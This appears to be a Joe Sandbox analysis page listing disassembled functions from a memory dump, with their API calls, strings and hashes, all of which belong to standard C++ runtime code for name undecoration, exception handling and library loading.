Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abortterminate$Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 211107550-393685449
Opcode ID: 0064667aa2bbf9281c63e2df04417489b0782d36b63c0d46c8f407a2327b119e
Instruction ID: c7b3cba6dcbc7f4f8d3c58454e243156c5feb8ad82b9ad41c227a5c2e0256b4a
Opcode Fuzzy Hash: 0064667aa2bbf9281c63e2df04417489b0782d36b63c0d46c8f407a2327b119e
Instruction Fuzzy Hash: C6E1A172A08B828EE7119F6AD4C13AD7BA0FB46B68F144175EE8D57765CF38E489C700

Function 00007FFE148BBD44 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BBEF8

Part of subcall function 00007FFE148B8B88: DName::operator+.LIBVCRUNTIME ref: 00007FFE148B906B
Part of subcall function 00007FFE148B8B88: DName::operator+.LIBVCRUNTIME ref: 00007FFE148B90A3

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BBEAA

Strings

cli::array<, xrefs: 00007FFE148BBE77
std::nullptr_t , xrefs: 00007FFE148BBE36
void, xrefs: 00007FFE148BBD8E
cli::pin_ptr<, xrefs: 00007FFE148BBEC1
void , xrefs: 00007FFE148BBDB6
std::nullptr_t, xrefs: 00007FFE148BBE23

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: 4fc3578ce17063dc0d50d7b4ec0948e8f0b10801750ed5c8ab16538871d1fbeb
Instruction ID: ca9a7969fba2207854e288ab3fa8b1223055d7c78dbf257d9e743214cbdfade1
Opcode Fuzzy Hash: 4fc3578ce17063dc0d50d7b4ec0948e8f0b10801750ed5c8ab16538871d1fbeb
Instruction Fuzzy Hash: AB512B62E18F958DFB218B66D8812BC77A0BB06764F884175EA4D16BB5DF7CA048C710

Function 00007FFE148B5F0A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B63F0: RtlPcToFileHeader.KERNEL32 ref: 00007FFE148B6434
Part of subcall function 00007FFE148B63F0: RaiseException.KERNEL32 ref: 00007FFE148B647A

RtlPcToFileHeader.KERNEL32 ref: 00007FFE148B5FA7
FindMITargetTypeInstance.LIBVCRUNTIME ref: 00007FFE148B6003

Strings

Access violation - no RTTI data!, xrefs: 00007FFE148B5F0A, 00007FFE148B612B
Bad read pointer - no RTTI data!, xrefs: 00007FFE148B6108
Bad dynamic_cast!, xrefs: 00007FFE148B6072
Attempted a typeid of nullptr pointer!, xrefs: 00007FFE148B60E5

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: FileHeader$ExceptionFindInstanceRaiseTargetType
String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 1852475696-928371585
Opcode ID: 3f5ae67d750eed0948469dee2eb461f1b185087becd2781b1c598a920b5ce485
Instruction ID: b57a24d2ccdfb6b20954efadac5c2924b6253ab22a4b79a74826b0ef27ba8342
Opcode Fuzzy Hash: 3f5ae67d750eed0948469dee2eb461f1b185087becd2781b1c598a920b5ce485
Instruction Fuzzy Hash: 3151AF72A19E468AEE60DB16E8D06B96360FF46BA8F404471FA4E17775DF3CE10AC701

Function 00007FFE148BE040 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BE0B4
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BE0C3
DName::operator+=.LIBVCRUNTIME ref: 00007FFE148BE1E0

Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC379
Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC3B2
Part of subcall function 00007FFE148BC2E8: DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC6DB

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BE163
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BE173
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BE21D

Strings

{for , xrefs: 00007FFE148BE0EC

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+$Name::operator+=
String ID: {for
API String ID: 179159573-864106941
Opcode ID: c0b9cebf11bf4c0a15ee625392032b6eb5ef6d0d0e9f9843e3ed64e918802d57
Instruction ID: cfcc6d688fc19d68f56250803976d1a6b3021f29633833031fc7006a3230e6b0
Opcode Fuzzy Hash: c0b9cebf11bf4c0a15ee625392032b6eb5ef6d0d0e9f9843e3ed64e918802d57
Instruction Fuzzy Hash: 39514772A08B85ADEB119F2AD4813F863A0FB06768F8480B1FA4C17BA5DF7CD558C350

Function 00007FFE148B68AC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFE148B6A6B,?,?,00000000,00007FFE148B689C,?,?,?,?,00007FFE148B65E5), ref: 00007FFE148B692F
GetLastError.KERNEL32(?,?,?,00007FFE148B6A6B,?,?,00000000,00007FFE148B689C,?,?,?,?,00007FFE148B65E5), ref: 00007FFE148B693D
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FFE148B6A6B,?,?,00000000,00007FFE148B689C,?,?,?,?,00007FFE148B65E5), ref: 00007FFE148B6956
LoadLibraryExW.KERNEL32(?,?,?,00007FFE148B6A6B,?,?,00000000,00007FFE148B689C,?,?,?,?,00007FFE148B65E5), ref: 00007FFE148B6968
FreeLibrary.KERNEL32(?,?,?,00007FFE148B6A6B,?,?,00000000,00007FFE148B689C,?,?,?,?,00007FFE148B65E5), ref: 00007FFE148B69AE
GetProcAddress.KERNEL32(?,?,?,00007FFE148B6A6B,?,?,00000000,00007FFE148B689C,?,?,?,?,00007FFE148B65E5), ref: 00007FFE148B69BA

Strings

api-ms-, xrefs: 00007FFE148B694F

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: 6b7b0d4fa722d880e64a88f355651dead124a34291e91049cf67a31c88754f30
Instruction ID: cb45ecb275ca7d561290164fb31a6fe950104cd4a30344f57d2b61b66b9c224f
Opcode Fuzzy Hash: 6b7b0d4fa722d880e64a88f355651dead124a34291e91049cf67a31c88754f30
Instruction Fuzzy Hash: 0031F621B1AF42D9EE129B0398805B56394BF46BB4F594575FD2D1B3A1EE3CE0498701

Function 00007FFE148B27CC Relevance: 12.2, APIs: 8, Instructions: 150COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B2886
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B28A5
__AdjustPointer.LIBCMT ref: 00007FFE148B28E6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B28F3
__AdjustPointer.LIBCMT ref: 00007FFE148B292F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B2944
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B2989
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B2990

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: f536bb5bf75f83b61f2ed1a9f953b5661f0afd3f6fa50fe31fba87816ef20d26
Instruction ID: 21902e3bcd484eb05630fe2d0762924f439020195256e786b8c6ff8884fcab2e
Opcode Fuzzy Hash: f536bb5bf75f83b61f2ed1a9f953b5661f0afd3f6fa50fe31fba87816ef20d26
Instruction Fuzzy Hash: 73519431E09E4389FA669B17A4C8A796794BF46FE0F0944B5FA8D0A3B5DF2CD4499300

Function 00007FFE148B25E8 Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B26A0
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B26BE
__AdjustPointer.LIBCMT ref: 00007FFE148B26FF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B270C
__AdjustPointer.LIBCMT ref: 00007FFE148B2748
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B275D
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B27A2
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B27A9

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: 4133a3c8522e9ad4c59629d1c69fd9a773956bfa8f0d308a74ae217d7e4dd4b2
Instruction ID: 5aed8259578ca98a153516f505dbeed6d7ccb5e99303d6a388db4fb2eaa5002c
Opcode Fuzzy Hash: 4133a3c8522e9ad4c59629d1c69fd9a773956bfa8f0d308a74ae217d7e4dd4b2
Instruction Fuzzy Hash: C851A031A0AE4289EA65DB1394CC6396390BF57FA0F0544B6FE4E067B5DF2CE44AC308

Function 00007FFE148B5520 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 132COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFE148B55E9
_local_unwind.LIBVCRUNTIME ref: 00007FFE148B568C

Strings

csm, xrefs: 00007FFE148B56D0
RCC, xrefs: 00007FFE148B556E
csm, xrefs: 00007FFE148B5584
MOC, xrefs: 00007FFE148B5562

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: FileHeader_local_unwind
String ID: MOC$RCC$csm$csm
API String ID: 2627209546-1441736206
Opcode ID: f566e69653b86ea8378c92b645cec8575a9338b72885f277a4296e74010113f5
Instruction ID: 1b2ef3f2bddac828b99073844300cfe3eecc04e4a1e8e3c0b9eb2158b60fbc08
Opcode Fuzzy Hash: f566e69653b86ea8378c92b645cec8575a9338b72885f277a4296e74010113f5
Instruction Fuzzy Hash: B9517E72E09A128EEB609F26908137937A0FF87BA8F544171FE4C563A5DF3CE4498A11

Function 00007FFE148BD638 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE148BCD34), ref: 00007FFE148BD6FB
DName::DName.LIBVCRUNTIME ref: 00007FFE148BD71A

Strings

void, xrefs: 00007FFE148BD67E
`template-parameter, xrefs: 00007FFE148BD728

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: NameName::atol
String ID: `template-parameter$void
API String ID: 2130343216-4057429177
Opcode ID: de998247550e715210f86324ba9a2d53c4cebc4b024ae86fc647548c28b37640
Instruction ID: 8b6b104415080b94a559b47a6ac77b1bc15d115994590cc0c717ca0f1aa3958f
Opcode Fuzzy Hash: de998247550e715210f86324ba9a2d53c4cebc4b024ae86fc647548c28b37640
Instruction Fuzzy Hash: 60412A22F08F569CFB008BA6D8912EC23B1BB067A8F941175EE4D27B65DF7CA509C741

Function 00007FFE148B8624 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148B86DB

Strings

,<ellipsis>, xrefs: 00007FFE148B86B8
void, xrefs: 00007FFE148B8759
..., xrefs: 00007FFE148B8724
,..., xrefs: 00007FFE148B86A8
<ellipsis>, xrefs: 00007FFE148B8734

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 2943138195-2211150622
Opcode ID: 474a76aaf6cc86a8b1d3d1165867f84d71bf12baca473517ea4a48996678f9db
Instruction ID: 4b604fcb5738c9e1191917d1f4823bbec29644eba042e8cc3829017ce96405c9
Opcode Fuzzy Hash: 474a76aaf6cc86a8b1d3d1165867f84d71bf12baca473517ea4a48996678f9db
Instruction Fuzzy Hash: EB413872E28F568CFB018B6AD8C02AC37A0BB0A758F984175EA4D123B4DF7CA549C750

Function 00007FFE148BA248 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 83COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA33B

Strings

unsigned , xrefs: 00007FFE148BA30F
long , xrefs: 00007FFE148BA2AA
char , xrefs: 00007FFE148BA2D1
short , xrefs: 00007FFE148BA2C8
int , xrefs: 00007FFE148BA2B9

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
Opcode ID: 4ee7ff45a7e0e2b45afe3db2621d5bae9a95249cbfdc9ddfa471e1e2039724d8
Instruction ID: 96415c3c486c91c71b9c438131562987a143f5d9095ea2c345f375e5e2497f29
Opcode Fuzzy Hash: 4ee7ff45a7e0e2b45afe3db2621d5bae9a95249cbfdc9ddfa471e1e2039724d8
Instruction Fuzzy Hash: 43416C72F18F168DEB218F6AD8805BC77B0BB0A724F844175EA4C56BA8DE3DA548C710

Function 00007FFE148B62D0 Relevance: 9.1, APIs: 6, Instructions: 83stringCOMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FFE148B6325
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE148B6368
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE148B6392
InterlockedPushEntrySList.KERNEL32 ref: 00007FFE148B63AF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE148B63BB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE148B63C4

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
String ID:
API String ID: 3741236498-0
Opcode ID: aecfe1721c752e9e19212834be403d09b9e2581b6ca4840f0535acf8499bb080
Instruction ID: dd30cc095ffb5b4a261d71771aec7dd6094e8ef93a7988f207137184d6bd05a2
Opcode Fuzzy Hash: aecfe1721c752e9e19212834be403d09b9e2581b6ca4840f0535acf8499bb080
Instruction Fuzzy Hash: A531C422B19F5685EB158B27A9844A96390BF0EFF8B984575ED2D133A0EF3DD44AC300

Function 00007FFE148B38A8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

EncodePointer.KERNEL32 ref: 00007FFE148B3918
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE148B3963
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B3B91

Strings

RCC, xrefs: 00007FFE148B3934
MOC, xrefs: 00007FFE148B392C

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 93647179691fad2c31583b5b624f7a301f4cbf651fe46746ef26265b161a590f
Instruction ID: b545c0b9f6eff9892efe29e395a5266efed24277aad1ca2c4a1e925f4fe90568
Opcode Fuzzy Hash: 93647179691fad2c31583b5b624f7a301f4cbf651fe46746ef26265b161a590f
Instruction Fuzzy Hash: 30919F73A08B818AE711CB66E4802AD7BA0F706798F14416AEF8D17B65DF38D199C700

Function 00007FFE148BBA90 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BBB70

Part of subcall function 00007FFE148B8B88: DName::operator+.LIBVCRUNTIME ref: 00007FFE148B906B
Part of subcall function 00007FFE148B8B88: DName::operator+.LIBVCRUNTIME ref: 00007FFE148B90A3

Strings

volatile , xrefs: 00007FFE148BBAF3, 00007FFE148BBC41
std::nullptr_t , xrefs: 00007FFE148BBCE5
std::nullptr_t, xrefs: 00007FFE148BBD11
volatile, xrefs: 00007FFE148BBB02, 00007FFE148BBC50

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: dd51cba4cb05916af9b660d2e8855c61f9d1249a1d68a44b5469808a2cb9767c
Instruction ID: f6c1c257b680a7a915c009a60e0c8b8c7ed92f6561bb97efbc9293a2f452e5b4
Opcode Fuzzy Hash: dd51cba4cb05916af9b660d2e8855c61f9d1249a1d68a44b5469808a2cb9767c
Instruction Fuzzy Hash: 84715F71A08F5288FB248F26D8D15BC66A4BB067A4F8445B5EA5D03BB9DF3CE258C340

Function 00007FFE148B3690 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

EncodePointer.KERNEL32 ref: 00007FFE148B36DC
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE148B372B
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B389F

Strings

RCC, xrefs: 00007FFE148B36F9
MOC, xrefs: 00007FFE148B36F0

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 7ad9f89f87b67e87ef2f2f7918b4673cbfa1f5ae22a53a6e1dcb14bee6498f23
Instruction ID: e1586dad7eea6419691190e75f0493237ba719e2752b16b247987f137b29d093
Opcode Fuzzy Hash: 7ad9f89f87b67e87ef2f2f7918b4673cbfa1f5ae22a53a6e1dcb14bee6498f23
Instruction Fuzzy Hash: 99614872A08B858AE724CF66D4803AD77A0FB49B98F144275EF8D17B69DF78E059C700

Function 00007FFE148B9ED0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE148B9F49
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B9F6B
DName::DName.LIBVCRUNTIME ref: 00007FFE148B9F7E
DName::DName.LIBVCRUNTIME ref: 00007FFE148B9FB5
DName::DName.LIBVCRUNTIME ref: 00007FFE148B9FC0

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: NameName::$Name::operator+
String ID:
API String ID: 826178784-0
Opcode ID: 7a215f6e1ecc099ddad05745ac6fc735a17c609b89ce59e1dc00ffa76962c259
Instruction ID: 16321694352b6b813a2529aa1e96012e3ab791f36e2f2a4f4f8f41208d2ca11b
Opcode Fuzzy Hash: 7a215f6e1ecc099ddad05745ac6fc735a17c609b89ce59e1dc00ffa76962c259
Instruction Fuzzy Hash: 11415B32A08E5699EB10DB62D8C05B877A4BB56BA0B9840B6FE4D537B5DF38E459C300

Function 00007FFE148B4044 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B41C3

Strings

csm, xrefs: 00007FFE148B4093
csm, xrefs: 00007FFE148B41FD
, xrefs: 00007FFE148B4114

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

